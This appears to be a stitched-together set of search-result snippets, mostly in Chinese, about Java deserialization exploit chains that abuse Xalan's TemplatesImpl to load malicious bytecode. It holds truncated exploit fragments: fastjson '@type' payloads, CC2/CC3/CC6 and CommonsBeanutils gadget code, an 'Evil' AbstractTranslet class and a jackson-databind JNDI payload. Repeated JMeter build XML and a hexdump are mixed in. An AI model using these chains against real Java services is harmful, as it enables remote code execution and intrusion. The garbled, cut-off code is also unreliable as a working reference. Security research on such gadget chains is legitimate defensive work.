链 而Xalan链 最底层的原理就是,在TemplatesImpl类的defineTransletClasses方法中,存在对defineClass方法的调用,我们不妨跟进一下TemplatesImpl 利用就是把这个类的set方法,get方法加上恶意代码就行了,但是正常的代码不太可能有这么爽的类,所以存在利用链这一说法,这里看一下Xalan链和fastjson反序列化联动的情况 前面分析了Xalan链 {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":"1111","_outputProperties 从前面我们跟的时候可以看到,fastjson调用setter方法的时候会把key对应的value值传入进去作为参数,所以这里爆类型不匹配,那么直接传入一个对象就可以了 总结以上遇到的坑 fastjson 利用Xalan _bytecodes[]中加载的类需为AbstractTranslet的子类 payload: {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
-- Use xalan copy from JMeter lib directory to ensure consistent processing with Java 1.4+ --> <path id="xslt.classpath"> <fileset dir="${lib.dir}" includes="<em>xalan</em>*.jar"/> <fileset dir="${lib.dir}" includes -- Check that the xalan libraries are present --> <condition property="<em>xalan</em>.present"> <and> <! " unless="<em>xalan</em>.present"> <echo>Cannot find all xalan and/or serialiser jars</echo> <echo>The XSLT </echo> <echo>Check you have xalan and serializer jars in ${lib.dir}</echo> </target> </project> 9.4
-- Use xalan copy from JMeter lib directory to ensure consistent processing with Java 1.4+ --> <path id="xslt.classpath"> <fileset dir="${lib.dir}" includes="<em>xalan</em>*.jar"/> <fileset dir="${lib.dir}" includes -- Check that the xalan libraries are present --> <condition property="<em>xalan</em>.present"> <and> <! " unless="<em>xalan</em>.present"> <echo>Cannot find all xalan and/or serialiser jars</echo> <echo>The XSLT </echo> <echo>Check you have xalan and serializer jars in ${lib.dir}</echo> </target> </project> 9.4
二、利用链分析 这部分和CC2中的差不多,将恶意字节流注入到org.apache.xalan.xsltc.trax.TemplateImpl中的_bytecodes属性,等待调用TemplatesImpl import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl "; String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool
"; 因此我们执行代码的动态加载类声明从com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet继承而来即可 //所以要满足条件三 ; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer ; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl
-- Use xalan copy from JMeter lib directory to ensure consistent processing with Java 1.4+ --> <path id="xslt.classpath"> <fileset dir="${lib.dir}" includes="<em>xalan</em>*.jar"/> <fileset dir= -- Check that the xalan libraries are present --> <condition property="<em>xalan</em>.present"> " unless="xalan.present"> <echo>Cannot find all xalan and/or serialiser jars</echo> </echo> <echo>Check you have xalan and serializer jars in ${lib.dir}</echo> </target>
ClassPool classPool=ClassPool.getDefault(); String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet > aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Constructor oos.close(); } } [1.png] [2.png] [3.png] [4.png] [5.png] CC3分析 import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter ClassPool classPool=ClassPool.getDefault(); String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet payload.toBytecode(); //反射创建TemplatesImpl类 String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
0x00 利用方式 目前公开已知的poc有两个: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl org.apache.tomcat.dbcp.dbcp2 • fastjson 1.2.45 • 代码参考 vulhub • 服务器:Windows Server 2012 r2 • jdk版本:jdk8u112 1. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 首先需要准备一个Poc: import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException ;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator " }, "b": { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
Not supported: http://javax.xml.XMLConstants/property/accessExternalStylesheet at org.apache.xalan.processor.TransformerFactoryImpl.setAttribute artifactId> <version>1.11.1</version> <exclusions> <exclusion> <artifactId>xalan </artifactId> <groupId>xalan</groupId> </exclusion> </exclusions> </dependency > 排除掉xalan后,这个异常不再出现。
package pers.cb; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties :507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl package pers.cb; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl package pers.cb; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
ClassPool classPool=ClassPool.getDefault(); String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet yyds.newInstance(); } } [8.png] 2.利用TemplatesImpl加载字节码 package com.naihe; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool ClassPool classPool=ClassPool.getDefault(); String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet getEncoder().encodeToString(payload.toBytecode()); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); } return ; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
ClassPool classPool=ClassPool.getDefault(); String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet yyds.newInstance(); } } 利用TemplatesImpl加载字节码 package com.naihe; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool ClassPool classPool=ClassPool.getDefault(); String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet getEncoder().encodeToString(payload.toBytecode()); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
2.9.10.8之前的FasterXML jackson-databind 2.x对序列化小工具和打字之间的交互处理不当,与com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool (也就是org.glassfish.web/javax.servlet.jsp.jstl中的嵌入式Xalan)有关。 main(String[] args) throws Exception { String payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool
准确的来说,Java XML功能包含了JAXP规范,而Java中自带的JAXP实现使用了Apache Xerces和Apache Xalan,Apache Xalan又依赖了BCEL,所以BCEL也被放入了标准库中 Apache Xalan实现了其中XSLT相关的部分,其中包括xsltc compiler。 我们在反序列化时常用的另一个类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,它在defineClass中需要的字节码所对应的基类, 就是这里的com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。 你应该也能猜到了,因为需要“编译”XSL文件,实际上核心是动态生成Java字节码,而BCEL正是一个处理字节码的库,所以Apache Xalan是依赖BCEL的。
2f73 756e 2f6f 7267 2f61 r(Lcom/sun/org/a 00000390: 7061 6368 652f 7861 6c61 6e2f 696e 7465 pache/xalan (Lcom/sun/org/a 000004a0: 7061 6368 652f 7861 6c61 6e2f 696e 7465 pache/xalan/inte 000004b0: 726e 616c @com/sun/org 00000630: 2f61 7061 6368 652f 7861 6c61 6e2f 696e /apache/xalan/in 00000640: 7465 726e /internal/xsltc/runtime/AbstractTransletjava/io/Serializable9com/sun/org/apache/xalan/internal/xsltc/ /internal/xsltc/runtime/AbstractTransletjava/io/Serializable9com/sun/org/apache/xalan/internal/xsltc/
----CC3----------------------------------- java.lang.reflect.Method.invoke com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer /Evil.java 构造恶意类Evil然后使使CC6动态加载字节码执行静态代码和构造函数 package POC_macker.CCShiro; import com.sun.org.apache.xalan.internal.xsltc.DOM ; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer " java.lang.reflect.Method.invoke\n" + " com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer 准备 为了方便后面的每一步的代码可以让读者单独运行同时为了避免代码段重复太多我这里先给出全部的依赖和通过反射设置变量参数的函数 ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool POC_macker/CommonsBeanutils/Evil.java package POC_macker.CommonsBeanutils; import com.sun.org.apache.xalan.internal.xsltc.DOM ; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool
; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer ; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类定义了一个内部类TransletClassLoader。 throw new NotSerializableException( "com.sun.org.apache.xalan.internal.xsltc.runtime.Hashtable" ; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field 构造POC 模仿CC1,通过LazyMap和Proxy触发漏洞,需Java 8u71以下 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl